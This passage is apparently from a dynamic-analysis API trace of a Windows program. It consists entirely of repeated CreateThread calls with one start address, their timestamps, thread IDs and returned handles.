lpThreadId=0x4291f8*=0x14e4) returned 0x678 [0227.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14e8) returned 0x67c [0227.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14ec) returned 0x680 [0227.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14f0) returned 0x684 [0227.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14f4) returned 0x688 [0227.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14f8) returned 0x68c [0227.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x14fc) returned 0x690 [0227.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1500) returned 0x694 [0227.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1504) returned 0x698 [0227.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1508) returned 0x69c [0227.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x150c) returned 0x6a0 [0228.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1560) returned 0x6a4 [0228.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1564) returned 0x6a8 [0228.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1568) returned 0x6ac [0228.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x156c) returned 0x6b0 [0228.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1570) returned 0x6b4 [0228.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1574) returned 0x6b8 [0228.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1578) returned 0x6bc [0228.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x157c) returned 0x6c0 [0228.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1580) returned 0x6c4 [0228.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1584) returned 0x6c8 [0228.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1588) returned 0x6cc [0228.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x158c) returned 0x6d0 [0228.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1590) returned 0x6d4 [0228.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1594) returned 0x6d8 [0228.071] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1598) returned 0x6dc [0228.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x159c) returned 0x6e0 [0228.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15a0) returned 0x6e4 [0228.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15a4) returned 0x6e8 [0228.073] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15a8) returned 0x6ec [0228.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15ac) returned 0x6f0 [0228.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1600) returned 0x6f4 [0228.210] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1604) returned 0x6f8 [0228.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1608) returned 0x6fc [0228.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x160c) returned 0x700 [0228.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1610) returned 0x704 [0228.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1614) returned 0x708 [0228.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1618) returned 0x70c [0228.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x161c) returned 0x710 [0228.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1620) returned 0x714 [0228.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1624) returned 0x718 [0228.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1628) returned 0x71c [0228.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x162c) returned 0x720 [0228.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1630) returned 0x724 [0228.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1634) returned 0x728 [0228.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1638) returned 0x72c [0228.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x163c) returned 0x730 [0228.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1640) returned 0x734 [0228.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1644) returned 0x738 [0228.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1648) returned 0x73c [0228.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x164c) returned 0x740 [0228.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16a0) returned 0x744 [0228.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16a4) returned 0x748 [0228.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16a8) returned 0x74c [0228.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16ac) returned 0x750 [0228.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16b0) returned 0x754 [0228.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16b4) returned 0x758 [0228.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16b8) returned 0x75c [0228.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16bc) returned 0x760 [0228.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16c0) returned 0x764 [0228.381] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16c4) returned 0x768 [0228.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16c8) returned 0x76c [0228.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16cc) returned 0x770 [0228.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16d0) returned 0x774 [0228.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16d4) returned 0x778 [0228.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16d8) returned 0x77c [0228.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16dc) returned 0x780 [0228.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16e0) returned 0x784 [0228.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16e4) returned 0x788 [0228.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16e8) returned 0x78c [0228.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x16ec) returned 0x790 [0228.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1744) returned 0x794 [0228.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1748) returned 0x798 [0228.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x174c) returned 0x79c [0228.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1750) returned 0x7a0 [0228.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1754) returned 0x7a4 [0228.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1758) returned 0x7a8 [0228.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x175c) returned 0x7ac [0228.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1760) returned 0x7b0 [0228.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1764) returned 0x7b4 [0228.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1768) returned 0x7b8 [0228.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x176c) returned 0x7bc [0228.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1770) returned 0x7c0 [0228.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1774) returned 0x7c4 [0228.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1778) returned 0x7c8 [0228.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x177c) returned 0x7cc [0228.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1780) returned 0x7d0 [0228.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1784) returned 0x7d4 [0228.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1788) returned 0x7d8 [0228.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x178c) returned 0x7dc [0228.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1790) returned 0x7e0 [0228.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17e4) returned 0x7e4 [0228.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17e8) returned 0x7e8 [0228.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17ec) returned 0x7ec [0228.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17f0) returned 0x7f0 [0228.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17f4) returned 0x7f4 [0228.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17f8) returned 0x7f8 [0228.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x17fc) returned 0x7fc [0228.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x9b8) returned 0x804 [0228.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x9c4) returned 0x808 [0228.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd34) returned 0x80c [0228.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd38) returned 0x810 [0228.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd3c) returned 0x814 [0228.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd2c) returned 0x818 [0228.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd30) returned 0x81c [0228.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd28) returned 0x820 [0228.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1804) returned 0x824 [0228.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1808) returned 0x828 [0228.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x180c) returned 0x82c [0228.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1810) returned 0x830 [0228.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1814) returned 0x834 [0228.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1868) returned 0x838 [0228.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x186c) returned 0x83c [0228.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1870) returned 0x840 [0228.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1874) returned 0x844 [0228.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1878) returned 0x848 [0228.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x187c) returned 0x84c [0228.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1880) returned 0x850 [0228.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1884) returned 0x854 [0228.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1888) returned 0x858 [0228.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x188c) returned 0x85c [0228.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x1890) returned 0x860 [0228.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, 